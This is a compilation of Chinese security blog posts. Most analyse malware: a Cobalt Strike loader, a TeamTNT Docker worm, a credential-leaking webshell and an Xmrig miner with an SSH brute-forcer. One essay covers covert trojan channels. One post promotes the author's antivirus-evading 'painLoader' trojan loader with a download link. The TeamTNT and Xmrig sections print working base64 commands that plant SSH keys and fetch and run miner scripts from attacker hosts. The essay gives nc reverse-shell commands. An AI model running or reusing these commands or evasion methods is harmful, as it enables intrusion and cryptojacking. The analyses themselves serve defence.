painLoader 加载器(无疫烦) 逆向工程

painLoader 加载器(无疫烦)

开发这款木马加载器(PainLoader)的初衷是我最近这段时间闲的蛋疼。其实主要是最近这段时间自己经历了一些比较难受的事情(Emm,说实话,很难受),为了转移自己的注意力,让自己能稍微缓一缓(但是,没什么效果,反而还更糟心了)。木马使用的是CS中的CS远程上线功能。为了使木马的体积尽可能缩小,使用了C++进行木马源码的编写,之后再进行打包编译,最后把木马大小控制在30k以内。这个木马是第一版。在代码实现功能上应该没有问题,但是代码写的有点菜,这里就不放出来了,因为代码暂不开源的原因,涉及到C2上线地址的问题,我能想到的两种解决方案如下:第一种方法:在PainLoader本目录下,把C2地址进行加密后存储在文件里,PainLoader会自动读取那个文件的加密字符串,在内存里对密文进行解密,得到正确的字符串。这样的好处是在没有解密密钥的情况下,被攻击者无法对密文进行解密,能更好的隐藏C2地址。但是坏处也是有的,就是我们需要向被害者传输2个文件,并且要求这两个文件在同一个目录下。第二种方法:把C2地址作为变量传输进去。这种方法比较方便,只需要在木马程序后面添加C2地址即可。但是这个方法也存在弊端,就是只能在cmd窗口执行exe程序,把C2地址传入,不能双击运行上线。两种方法各有取舍,我会把这两个程序分别打包,大家可以根据自己的情况进行选择。在后期测试的过程中,火绒,腾讯管家,趋势的动静态检测目前均能绕过。加密C2地址的方法能正常绕过360的检测Cmd传参版本360在经过几次修改特征码和修改执行方式中发现,生成exe文件后第一次运行能正常绕过,但是十几分钟后就已经被标识为木马程序了。可恶,后面有时间再做绕过吧。下载地址https://github.com/PDWR/painLoader还有一件事情,就是哪位师傅知道C++怎么动态生成exe程序,Emmm,就是像RAT工具那样直接build出来agent程序的,想知道原理,希望师傅们能带带我,加一下我微信(请备注来源:黑伞攻防实验室),请师傅们不吝赐教。 本文始发于微信公众号(黑伞攻防实验室):painLoader 加载器(无疫烦)
阅读全文
IP地址溯源 从源头遏制计算机恶意程序感染 安全闲碎

IP地址溯源 从源头遏制计算机恶意程序感染

9月中旬以来,国内知名杀毒软件厂商“某零”监测到多起针对商户和股民的网络木马攻击事件。经“某零”安全团队追踪分析发现,此次攻击的手法和使用的文件特征与“看门狗”病毒如出一辙,几乎可以认定是“看门狗”团伙所为。“看门狗”又称“金眼狗”,曾广泛受到国内外安全厂商的关注和报道,其主要攻击目标为东南亚一些行业,并惯于使用Telegram等软件进行传播。此次发起攻击的木马同样是通过通讯软件(如Telegram)和钓鱼网站进行传播,甚至就连木马执行方法也同样是通过lnk文件执行脚本,进而发起断网攻击等方式向受害机器植入远控木马并实现持续驻留的。故此,该安全团队认为这是“看门狗”团伙针对商户和股民发起的新一波攻击。经溯源,“某零”安全团队还找到下发木马压缩包的恶意网站IP为144.48.8.72,由此可反查到该IP的两个域名ouyipay.net和hlsypay.com。来自IP问问——恶意网站IP查询结果1来自IP问问——恶意网站IP查询结果2随着计算机网络技术的迅猛发展,互联网在人们的政治、经济、文化以及社会生活中发挥着愈来愈重要的作用。作为国家关键基础设施和新的生产、生活工具,互联网的发展极大地促进了信息流通和共享,提高了社会生产效率和人民生活水平,促进了经济社会的发展。目前互联网信息化程度愈来愈高,但是网络系统资源具有开放性、共享性、多样性等特点,也使得网络信息安全面临着极大的安全隐患。木马通过通讯软件与网站对计算机程序恶意感染,易于实施,难于防范和追踪。根据国家互联网应急中心(CNCERT)统计,2021年上半年,我国境内感染计算机恶意程序的主机数量约 446 万台,同比增长 46.8%。位于境外的约 4.9 万个计算机恶意程序控制服务器控制我国境内约 410 万台主机。就控制服务器所属国家或地区来看,位于美国、越南和中国香港地区的控制服务器数量分列前三位,分别是约 7,580 个、3,752 个和 2,451 个;就所控制我国境内主机数量来看,位于美国、中国香港地区和荷兰的控制服务器控制规模分列前三位,分别控制我国境内约 314.5 万、118.9 万和 108.6 万台主机。此外,根据 CNCERT 抽样监测数据,境外约 1.2万个 IPv6 地址控制了我国境内约 2.3 万台IPv6 地址主机。控制我国境内主机的境外计算机恶意程序控制服务器数量分布控制我国境内主机数量TOP10的国家或者地区对IP来源进行追踪,能够从源头上有效制止木马攻击和计算机恶意程序感染的发生。随着IP地址定位技术的不断升级,如我司的IP问问—IP地址精确度已达到街道级别,结果范围最精准已经可达到10米—2000米,10ms返回结果。在网络安全与追踪犯罪中,精准的IP地址定位是不可或缺的,一方面可以在攻击源头部署有效的防御措施来及时遏制网络攻击;另一方面对网络犯罪计算机取证技术的发展也起到了积极的推动作用,对网络犯罪行为具有一定的威慑力。本文作者:埃文科技END 原文始发于微信公众号(网络侦查研究院):IP地址溯源 从源头遏制计算机恶意程序感染
阅读全文
匿名信使:木马隐蔽通信浅谈 安全文章

匿名信使:木马隐蔽通信浅谈

文|lake2前言这是前文《网络层绕过IDS/IPS的一些探索》的延续,当时就想可以用四层以下的协议实现木马通信绕过各类IDS/IPS的检测,一直没有找到时间测试,正好这次攻防演练值守期间有了机会。标题之所以用“匿名信使”,是因为很久以前有一款利用Windows下net send自动化批量发送消息的软件叫做匿名信使——当年net send发送的匿名消息在Windows2000/XP下大行其道,现在发现居然这个命令都不存在了(Vista以后已经被msg命令替代),致敬作者和那个时代。木马常用通信协议对抗进化1. 第一代木马国内第一代木马是什么?必须是国内最早最权威的安全社区xfocus团队成员glacier出品的冰河。 冰河的界面,是不是跟XScan很像,因为是同一个作者。 图源网络冰河会开放主机的TCP 7626端口等待服务端控制。这是第一代木马被动通信模式:开放端口(主要是TCP端口,当然也可以用UDP),类似使用nc -l -p 7626 -e cmd.exe 。开端口这个方式的弊端就是要在主机开放端口,netstat命令或者主机防火墙很容易就发现开了个端口,同时如果被控端在内网或者有防火墙就没有办法连上。2. 第二代木马于是就很快进化出第二代木马主动通信模式(反向连接,典型代表是葛军的灰鸽子):不开端口,由木马反向去连接服务端,nc -e cmd.exe IP 8000,这个模式较之上一代优势很明显,被控端在内部网络也能穿透防火墙或NAT,当年防火墙对出站检查比较松,特别是端口使用TCP 80,让防火墙以为是在浏览网页,颇具迷惑性。 灰鸽子界面,图源百度 但是很快安全系统的策略也跟上了,因为这个模式要产生一条TCP出站通信,基于主机的安全软件可以实时拦截进程的网络行为(还记得天网防火墙吗)。曾经风靡一时的天网防火墙。 图源网络 3. 第三代木马第三代木马通信开始使用常见应用层协议迷惑防火墙(灰鸽子会在Windows下以DLL形式注入浏览器进程,通信协议也伪装成了HTTP还直接调用浏览器里设置的代理),常见的方法就是使用HTTPTunnel把TCP协议转成HTTP协议,绕过防火墙。 HTTP协议穿过防火墙/HTTP代理。图源http-tunnel 后来随着业务形态的发展,还真的有了使用HTTP协议的木马——WebShell。类似的, DNS协议也成为一个不错的方案。这个更适合只支持域名解析的场景,不过频繁的奇怪的域名请求会被IDS检测到异常,一些正常程序在极端网络环境下也会采用这个方案传输数据。ICMP也是一个比较好的通信载体。ICMP协议经常会被路由器各种转发,只有type为0和8的ICMP包(ICMP请求与响应,就是通俗说的ping包)更容易通过各种网络。ICMP和DNS隧道的检测方法类似,均可以使用机器学习来解决:ICMP包的目标、大小、频率、内容来建立基线,是很容易发现异常通信的。Windows/Linux下的ping包内容就很工整,AI学习下网络里常见的ICMP包内容就行了。 Windows下的ping包内容 4. 第四代木马第四代木马通信可能要算使用加密应用层协议了,HTTPS是一个典型,毕竟HTTP是明文的容易被揪出来,HTTPS则可以让IDS迷茫好长一段时间——行业也有一些对HTTPS木马通信的分析研究和实践,主要还是基于统计分析,对特定场景可能有效,总的来看效果一般。既然加密协议很难解密,除了统计类,现在比较好的落地方案是检测IP和域名的信誉度,于是又引发了新一轮对抗:Domain Fronting及腾讯安全玄武实验室提出的Domain Borrowing。除了HTTPS,新兴的加密协议都可以用于通信,比如HTTP/2、WebSocket、QUIC……这些协议比现有协议都更有优势,都是未来技术发展的方向(比如QUIC,它基于UDP,“连接”速度更快,靠内容标识而不是五元组识别当前会话,所以切换网络瞬间应用无卡顿)。可以看到,随着这些新型加密协议的逐步应用,未来对基于网络层的流量分析系统是一个巨大挑战。非典型网络层协议利用基于本文范围,我们的探讨聚焦在TCP/IP的网络层和传输层协议,更高的应用层和更低的链路层协议甚至物理层都不在讨论范围。回到TCP协议本身,所有类型的TCP包(不同的标志位)都可以用于通信,无非就是不建立三次握手把TCP当UDP用(其实也可以实现类似TCP连接的机制),所以只要链路上支持,syn、ack、synack、rst这些包都可以用于秘密通信。好处很明显,自己构造发包不会走操作系统协议栈,即使建立TCP 连接也是在操作系统层面是看不到的(更何况还没有连接),可绕过主机防火墙,同理也可能绕过一些IDS/IPS。再就是不通过协议栈自己定制发包效率更高,Nmap的-sS扫描就比-sT快很多(当然误报率也大很多),定向优化异步扫描机制的Zmap号称一小时内可以扫完全部IPv4互联网地址。弊端就是这些包不像TCP那样普适,在一些网关、路由上可能会被视为无效包而丢弃。对于IP包也是类似,IP包有256个类型(IP包的proto字段取值0 - 255),在两台主机之间哪些类型的IP包可以通信呢?写个脚本穷举一遍看看。 客户端基于Scapy的Python代码,遍历IP包类型发出  目标服务器收到包 发现256个包仅有proto值为1的包(即ICMP)通过网络到达目标服务器,因为我们填充的A覆盖了ICMP的type,所以tcpdump识别type是65——说明任意类型甚至是不合法的ICMP包都可以在这两个主机间通信。还可以用广播(Broadcast)和组播(Multicast)来绕过防火墙以及隐藏身份,当然对网络环境有一定要求。把数据包发到255去,网内所有主机都能收到这个包,但IDS就不知道真正接收指令的主机是哪个,增加了排查难度。向255发送ping包,部分存活主机会响应,说明会收到广播包 再把源地址也改下,那排查起来就更麻烦了。记得当年笔者作为Red Team一员去测试我们自研的宙斯盾NIDS有效性的时候,发了一堆伪造源IP的syn包假装在进行syn扫描(nmap用-S参数),果然IDS告警,运营人员耗费大量时间排查无果。组播也是类似,可以理解为是特殊的广播,典型的IP地址就是224.0.0.2,在你家局域网抓个包看看智能设备都在发组播做什么就知道了,不赘述。如果是同一个路由下还可以在二层发包,伪造三层的数据包把包发到目标MAC地址,更加隐蔽。既然那么多类型的包可以用于通信,那网络链路上到底支持哪些呢?写个脚本来fuzz一把。原理很简单,就是从A主机发送各种类型的数据包附带一个字符串到B主机,B如果收到就把字符串运算一下发回给A,A能收到那就说明该协议可用(想一想,为什么要运算一下而不是原字符串返回)。下图的测试结果显示AB两个主机间ICMP协议和80端口的syn包可以用作通信。 xProCmd.py测试两台主机间的网络协议通路 一个数据包,实现NAT正向直连之所以出现反连shell的模式,就是因为NAT(Network Address Translation,网络地址转换)大量的使用。那么,现在我们来研究一个小问题:有没有办法实现NAT的正向直连?有,而且当然不是直接在NAT上配置端口转发。我们先看下NAT的工作原理,NAT会作为内外网的网关节点,类似中间人,把内外网IP地址互相转换,即外网看到的是外网地址,内网看到的是内网地址,使得双方能够正常通信。NAT原理演示图,来自wikipedia 我们来看看出站访问,内网主机A发送syn包到外网主机B的80端口,NAT网关拿到包后会拦下来,并基于这个包生成一个新的包,在外网主机B上面则是看到syn包来自NAT网关IP和新端口,它向这个IP端口回复的synack包(或者rst包)会被NAT网关同样转换后发给内网主机A,于是连接开始建立(或者不用建立)。NAT转发的关键就是内网发起了syn包,所以我们很容易想到,如果我用内网主机的445端口为源端口发出数据包去,那岂不是外网主机到内网主机的445连接就是通畅的了?如果NAT网关不拦截入站的syn包那就可以建立正向连接了。这个思路与tk教主的BadTunnel有异曲同工之妙,大家可以体会下。试试。假设我内网主机192.168.1.29有个TCP 12345端口开启,这是用nc开了一个shell,需要正向连接。主机对外网主机3389端口发出了syn包,此时链路已通,外网主机只需要向发出syn包的IP端口发源端口是3389的syn包即可。内网主机nc监听本地12345端口外网主机用源端口3389连接NAT网关,正向获得shellSSH客户端也可以指定源端口,感谢腾讯蓝军的neargle大师傅指点,用-o参数:ssh -o 'ProxyCommand nc -p 2345 %h %p' IP实测部分NAT可以通过syn包打通连接,部分NAT则需要三次握手TCP连接建立之后才行(这个是NAT协议支持的Simultaneous TCP Open),有的NAT又完全不行,应该是各家设备厂商对NAT协议的具体实现的问题,有兴趣的同志可以继续深入研究这个课题。如果把syn包的源地址改到其他内网主机,有可能会隐蔽地绕过一些ACL设置不严的情况 —— 至少安全系统可以多加几个策略了。网络层检测的一些想法随着主机层面的对抗日趋激烈,在操作系统层面EDR很难与rootkit纠缠,我们可以跳出操作系统层到网络层进行异常检测,这是对攻击者的降维打击。比如一些rootkit在主机层面的通信很难被检测到,那就检测主机的网络数据包(对一些WebShell也是类似思路)——这也是纵深防御思路的实践。同理,我们也可以跳出TCP/IP的应用层传输层到网络层(这个是指TCP/IP的第三层不是前述大的网络层概念)甚至链路层来实施降维打击。所以,IDS要关注奇怪的低层通信数据包,可能这些不起眼的“无效”数据包正是木马的秘密通信;看起来一些数据包是错误发送到主机的,这本身就是一个异常;路由器层层传递,整个网络链路的流向也很关键,监听者可能就混迹其中……当然,七层的数据包也需要关注,特别是常见的正常的加密协议流量——在我看来,未来的网络流量分析一是要关注正常的加密流量,另一个就是低层协议。总之,只有依靠运营才是不断提升安全防御能力的王道。后记欢乐时光过得快,又到时候说拜拜,最后老规矩,招人,基础安全各个领域特别是流量安全分析方向,除了传统的DDoS检测防护、网络层阻断、恶意流量检测,网络安全团队也在研究实践落地一些新东西,像AI应用于流量分析、基于XDP的单机DDoS防护系统、第三方云场景下的DDoS安全防护、P4/NPL可编程交换机及智能网卡应用等等,有意向的同志可投递简历。# 推荐阅读附录 网络层绕过IDS/IPS的一些探索 利用DNS隧道通信木马分析https://zhuanlan.zhihu.com/p/33539224 利用ICMP进行命令控制和隧道传输,https://www.freebuf.com/news/210450.html 基于机器学习的恶意软件加密流量检测研究分享https://www.pianshen.com/article/78921972706/ High-reputation Redirectors and Domain Fronting, https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/ Domain Borrowing: 一种基于CDN的新型隐蔽通信方法https://xlab.tencent.com/cn/2021/05/14/domain-borrowing/ NAT技术基本原理与应用https://www.cnblogs.com/mefj/p/10578639.html Badtunnel远程恶意劫持利用https://www.freebuf.com/articles/web/109345.html 小步快跑,快速迭代:安全运营的器术法道 流量分析在安全攻防上的探索实践  我们是TSRC互联网安全的守护者用户数据安全的保卫者我们找漏洞、查入侵、防攻击与安全行业精英携手共建互联网生态安全期待正能量的你与我们结盟!微信号:tsrc_team 本文始发于微信公众号(腾讯安全应急响应中心):匿名信使:木马隐蔽通信浅谈
阅读全文
以新冠疫苗接种通知为诱饵的Cobalt Strike木马分析 逆向工程

以新冠疫苗接种通知为诱饵的Cobalt Strike木马分析

一背景            Cobalt Strike是一种商业的、功能齐全的红队渗透工具,它标榜自己是“旨在执行有针对性的攻击并模拟高级威胁参与者的开发后行动的对手模拟软件”。Cobalt Strike 的交互式后期开发功能涵盖了所有 ATT&CK 战术,所有这些都在单个集成系统中执行。除了自身的功能外,Cobalt Strike 还利用了其他知名工具的功能,例如 Metasploit 和Mimikatz。        近日,MalwareHunterTeam发布一例恶意软件名为接种新冠疫苗-紧急通知。安恒应急响应工程师对该样本进行分析。样本名称MD5文件大小接种新冠疫苗-紧急通知 .doc.exe72FFC4711DDC1A6DA2F6472777E1024472704 bytes执行流程图如下:二详细分析        程序主要功能流程比较简单,申请内存解压硬编码shellcode,通过设置Windows枚举窗口API回调函数执行shellcode。shellcode特征很明显,标准的CS所生成64位机器shellcode内容如下。执行shellcode会初始化本地网络API相关动态链接库。随后通过HTTP请求回连服务器的7999端口,CS肉鸡上线。该样本同时关联到大量恶意样本:三YARA规则针对CS生成的64位shellcode提取yara规则rule Cobalt_Strike_20210720{ meta: description = "CS_shellcode" strings: $a1 = {FC 48 83 E4 F0} $a2 = {65 48 8B 52 60 48 8B 52 18 48 8B 52 20} $a3 = {48 83 EC 20 41 52 FF E0} $a4 = {48 8B 52 20 8B 42 3C 48 01 D0 66 81 78 18 0B 02} condition: all of them}四IOCC&C47.107.236124五总结及防护建议                此次分析样本为CS马,样本会加载黑客服务器上的远程代码并执行。灵活度高,可执行任意代码,免杀效果较强,建议及时对该C2通信进行拦截。建议终端用户不要点击下载不明来历软件或未知邮件附件,下载软件尽量去厂商官网下载;不随意点击不明链接,陌生文件下载运行前可使用文件威胁分析平台进行检测(https://ti.dbappsecurity.com.cn/),避免感染病毒;定期查杀病毒,清理可疑文件,备份数据。安恒应急响应中心2021年07月 本文始发于微信公众号(安恒信息应急响应中心):以新冠疫苗接种通知为诱饵的Cobalt Strike木马分析
阅读全文
TeamTNT 样本新变种分析 逆向工程

TeamTNT 样本新变种分析

一、背景云鼎实验室近期捕获到TeamTNT黑客团伙新的容器攻击活动。挖矿病毒通过扫描docker remote api未授权访问漏洞进行传播。相比之前TeamTNT黑客团伙使用的挖矿木马,新变种对原挖矿木马进行了升级,在进行感染时使用了新的策略。入侵后会先清理其他挖矿病毒,并使用新的方法隐藏进程,入侵完毕后会清理痕迹,覆盖系统日志以逃避排查,为增加挖矿木马植入的成功率还有备用挖矿程序,增加木马的稳定性,利用nohup命令防止挖矿进程被挂断,并且使用了LKM rootkit技术隐藏进程。样本属于最新版本TEAMTNT样本,云鼎实验室哨兵系统第一时间捕获,本文会详细分析样本在入侵,持久化,容器逃逸等多个方面所使用的技术,并对应到ATT&CK矩阵。二、样本产生时间与流行分析样本的开发时间大约在2021年09月14日编写完毕,云鼎实验室哨兵系统在9月14号第一时间捕获,并进行了详细的分析。哨兵捕获的网络包:样本流行程度:通过哨兵智能情报统计系统,样本在刚刚爆发的2周内较为流行,随后感染率持续下降。三、样本att&ck矩阵分析TEAMTNT的新样本通过docker remote API 传播,过程中使用了 特权容器,容器逃逸,LKM rootkit 等先进攻击方式,下面是对于整个攻击过程的att&ck矩阵分析。下图为攻击流程,我们将整个过程分为五个部分讲解:1、初始化访问与对外扫描  2、执行3、权限提升-容器逃逸  4、攻击持久化 5、防御绕过3.1 攻击向量-初始访问与横向扫描—Remote API 漏洞:Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,黑客也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。A、扫描获取docker API版本调用masscan 和 zgrab扫描目标IP,通过请求旧版本的命令,可以获取到最新的docker API版本。通常获取1.16版本,会返回如下信息:Handler for GET /v1.16/version returned error: client version 1.16 is too old. Minimum supported API version is 1.24, please upgrade your client to a newer version相关代码如下:B、利用Remote API漏洞:直接通过Remote API漏洞,远程启动传播病毒的容器镜像 alpineos/dockerapi,容器使用完成后会自动清除容器内部的文件系统。启动alpine 容器进行容器逃逸。3.2 攻击向量-执行:在目标机器上的命令执行通过特权容器执行恶意指令,进行挖矿和病毒传播。A、恶意镜像alpineos/dockerapi:经查询,alpineos账号注册时间为2021年5月26日,其中alpineos/dockerapi镜像更新时间为截止目前已有16天,大约有5500台主机被感染。镜像启动时会执行名为pause的脚本,pause脚本用于病毒的传播。B、镜像Alpine正规白镜像,镜像大小只有5M,方便下载,teamTNT使用这个镜像进行容器逃逸。3.3攻击向量-权限提升----Docker逃逸:TEAMTNT 使用的逃逸方法是特权模式+SSH特权模式在6.0版本的时候被引入Docker,其核心作用是允许容器内的root拥有外部物理机的root权限,而此前在容器内的root用户只有外部物理机普通用户的权限。使用特权模式启动容器后(docker run --privileged),Docker容器被允许可以访问主机上的所有设备、可以获取大量设备文件的访问权限。TEAMTNT 病毒容器运行的逃逸命令如下:docker -H $D_TARGET run -d --privileged --net host -v /:/host alpinechroot /host bash -c 'echo c3NoLWtleWdlbiAtTiAiIiAtZiAvdG1wL1RlYW1UTlQKCmNoYXR0ciAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGw7IHRudHJlY2h0IC1SIC1pYSAvcm9vdC8uc3NoLyAyPi9kZXYvbnVsbDsgaWNoZGFyZiAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGwKY2F0IC90bXAvVGVhbVROVC5wdWIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2F0IC90bXAvVGVhbVROVC5wdWIgPiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5czIKcm0gLWYgL3RtcC9UZWFtVE5ULnB1YgoKCnNzaCAtb1N0cmljdEhvc3RLZXlDaGVja2luZz1ubyAtb0JhdGNoTW9kZT15ZXMgLW9Db25uZWN0VGltZW91dD01IC1pIC90bXAvVGVhbVROVCByb290QDEyNy4wLjAuMSAiKGN1cmwgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHxjZDEgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHx3Z2V0IC1xIC1PLSBodHRwOi8vdGVhbXRudC5yZWQvc2gvc2V0dXAvbW9uZXJvb2NlYW5fbWluZXIuc2h8fHdkMSAtcSAtTy0gaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNoKXxiYXNoIgoKcm0gLWYgL3RtcC9UZWFtVE5UCgo= | base64 -d | bash'第一步:创建特权容器docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine容器本身为干净的alpine容器。第二步:SSH容器逃逸在root目录下 拷贝ssh密钥到宿主机,通过访问127.0.0.1 从而进行容器逃逸。上述代码解密后如下:逃逸后,可以在宿主机上下载moneroocean_miner.sh等脚本进行挖矿。3.4攻击向量-防御绕过----清理痕迹与进程隐藏:在植入挖矿病毒后,会通过diamorphine.sh来隐藏进程,之后清理痕迹。A、通过diamorphine.sh 隐藏进程:从github.com/m0nad/Diamorphine下载安装编译Diamorphine,加载内核模块dia.ko。Diamorphine是一个LKM rootkit ,功能就是 进程隐藏、模块隐藏,用户root权限获取,带有Magic-prefix 开头的文件和目录隐藏。这里重点介绍一下 进程隐藏部分。Rootkit初始化部分会hook getdents、getdents64 和kill 三个函数,其中被hook的kill...
阅读全文
webshell后门分析 安全文章

webshell后门分析

文章来源:web安全工具库一、访问上传的木马文件http://192.168.1.104/1.asp二、点击F12,打开谷歌自带的开发人员工具,点击network三、输入密码,看看抓包情况,该木马会自动向某网站上传木马路径和密码四、查看木马源文件,然后搜索该网址,随便修改为一个无效地址,该木马用的是反转加密,所以我们搜索不到,有时候是其他加密,需要解密才可以修改注意:抓包的时候,有的后门不是一登录就发送的,也有可能停一段时间才发送,甚至当你退出的时候才发送禁止非法,后果自负如侵权请私聊公众号删文推荐文章++++*Pystinger - 使用Webshell绕过防火墙进行流量转发*WEBshell与文件上传漏洞*一次服务器被传webshell事件溯源 本文始发于微信公众号(黑白之道):webshell后门分析
阅读全文
Xmrig挖矿木马分析 逆向工程

Xmrig挖矿木马分析

本篇文章由ChaMd5安全团队逆向分析小组投稿前提:某天腾讯云发来一封邮件来提醒,自己的服务器中木马了。根据邮件中的提示,把疑似木马的程序tsm64拷贝下来,上传到vt上,确认是木马。好了,开始分析它。一、初步定位恶意程序在系统中的痕迹首先,通过命令“find / -name “tsm64” “全局搜索这个恶意样本存储在哪个目录,最后在/tmp/.X25-unix/.rsync/c目录下发现了它。浏览整个.rsync目录,发现都是恶意样本相关的文件,于是将其打包下载到本地进行分析。对该目录的子目录和文件进行分析,得到以下信息:1. tddwrt7s.sh为起点,该脚本通过curl从远端下载dota3.tar.gz并解压,再调用initall进行初始化。2. Initall脚本先执行init脚本,再执行init2脚本。init脚本将dota3.tar.gz解压出的.configrc目录复制到root目录下,并在后台执行a目录下的init0脚本(github上分享的一个专杀矿工进程的脚本)清除主机可能已经存在的矿工进程,后台运行a与b目录下的a脚本和c目录下的start脚本,再设置每分钟检查执行cron.d脚本(自己生成的),该脚本将a目录下upd脚本和b目录下的sync脚本设置为每次系统重启后执行。 3. Init2脚本前面的工作与init相同,略过 。4. a目录下的upd脚本会执行run脚本,而run脚本会先执行stop脚本停止上一轮该系列脚本的工作(相当于为新一轮脚本执行做准备),重点是其会执行恶意的可执行文件kswapd0。在Linux中,kswapd0进程是用来管理虚拟内存的。kswapd0 移动内存的过程就会造成 CPU 的大量使用,所以该恶意程序通过伪装成kswapd0进程来规避管理员怀疑其大量耗用CPU资源的行为。5. b目录下的run脚本会将一个固定ssh rsa密钥存储在 ~/.ssh/authorized_keys中实现持久化控制访问我的服务器。 6. C目录下的aptitude脚本执行go脚本,而go脚本会执行tsm脚本。Tsm脚本会根据服务器系统的位数而选择执行恶意可执行文件tsm32还是tsm64 。.rsync目录下各脚本调用关系如下图所示: 二、静态分析在服务器中执行top命令查看各进程对资源占用情况进行分析,发现一个叫”./kswapd0”的进程对CPU占用率99%。先分析kswapd0这个64位的可执行文件,通过ida的字符串搜索,发现字符串”https://xmrig.com/wizard”( xmrig 是用于 Monero (XMR) CPU 挖矿的)。同时还找到矿机的配置内容,了解了下社区中挖矿教程,可以知道其中的user字段即是该黑客的门罗钱包地址。结合对反编译后的伪代码分析,发现kswapd0的执行逻辑与数据和xmrig(ELF文件,下载地址https://github.com/xmrig/xmrig/releases/download/v6.12.1/xmrig-6.12.1-linux-x64.tar.gz)极为相似,所以得出结论--kswapd0就是xmrig矿机。     那么就剩下tsm32/tsm64这组恶意程序还未知其功能,拖进ida里分析一下。    tsm64是一个64位ELF文件,先拖进ida里进行分析。从start函数里找到main函数的入口,点进去,F5失败,ida报错原因是这个函数太大了。在汇编窗口浏览代码,发现在函数开头有一条指令开辟了巨大的堆栈空间,“sub  rsp, 3D6A58h”。尝试nop掉该指令,以及nop掉结尾处的“add  rsp, 3D6A58h”指令。再次F5,还是无法反编译。没办法只能先看汇编了。汇编界面按空格查看流程图,发现下面有一段执行流疑似经过了平坦化处理。查看了一下负责分发的块,里面定义了一张地址表,按顺序执行表中的基本块。由于基本块数量较少,就一个个去看了。分析后得到的结果,loc_405022打印了一个负责扫描内外工具(命令行)的使用说明,loc_406257执行一组删除操作(目的是擦除入侵痕迹,删除的内容可以作为下一阶段追朔的线索),loc_40506C执行了“whoami“命令,其余基本块的作用都是通过strtol函数将一个字符串转化为一个十进制数然后写入到一个数组里,这里并没有找到字符串来源(应该是命令行参数输进来的),loc_404F37负责将一个标志置1(进入这个分发器前初始化为0,应该是为了判断有没有完成以上操作,在loc_406257中再次判断,如果不为0则离开这个分发器)。      根据逻辑如果正常执行到loc_406257,就会来到loc_4062BD。在这里,程序通过system函数执行命令"sort -R b > p; sort -R a > ip"。先不理会这个信息。在下一个块里,该程序对'/dev/tty'(是我们使用的控制终端)进行读取,可以查看到当前终端的显示内容。sub_408680函数中实现了与45.9.148.125(查ip,发现是一个荷兰的服务器)建立ssh连接,以及读取文件v(作用未知)。sub_4099F0函数进行文件写入或者发送数据。到这里可以知道该恶意程序的一个恶意行为是读取文件v的内容然后发送给该远程服务器。      紧接着,该程序将从终端读取到的内容保存到变量s里    通过搜索字符串发现了两组恶意命令“echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC5yc3luYzsgY2F0IC90bXAvLlgyNS11bml4Ly5yc3luYy9pbml0YWxsIHwgYmFzaCAyPjEmCnNsZWVwIDQ1cyAmJiBwa2lsbCAtOSBydW4gJiYgcGtpbGwgLTkgZ28gJiYgcGtpbGwgLTkgdHNtCmV4aXQgMA==" | base64 --decode  | bash “和”echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC90bXAvLlgyNS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxOTIuMTY4ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDhtICYmIG5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxNzIuMTYgPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC4uOyAvdG1wLy5YMjUtdW5peC8ucnN5bmMvaW5pdGFsbCAyPjEmCmV4aXQgMA==" | base64 --decode | bash “,分别对它们base64的内容解密,结果如下: 可以看出,上面解密出来的脚本与.rsync和.configrc目录下的shell脚本作用基本是相同的。三、动态分析首先通过“./tsm64 -t 202 -f 1 -s 12 -S 9 -p 0 -d 1 p ip”命令执行一下tsm64,看一下有什么效果。Tsm64在执行过程中会产生a、b、p、ip和v五个文件,其中a和ip存储的都是IP地址以及端口号,而b和p存储的是由用户名和密码组成的字典。接下来,可以看到tsm64创建大量线程去连接ip中的服务器,并尝试爆破ssh的账号。 接下来,想知道ip这些文件是哪里来的,因为程序中和本地都没有它们存在。猜测是网络下载,于是打算跟踪connect函数的调用,发现程序最先与45.9.148.125建立连接。 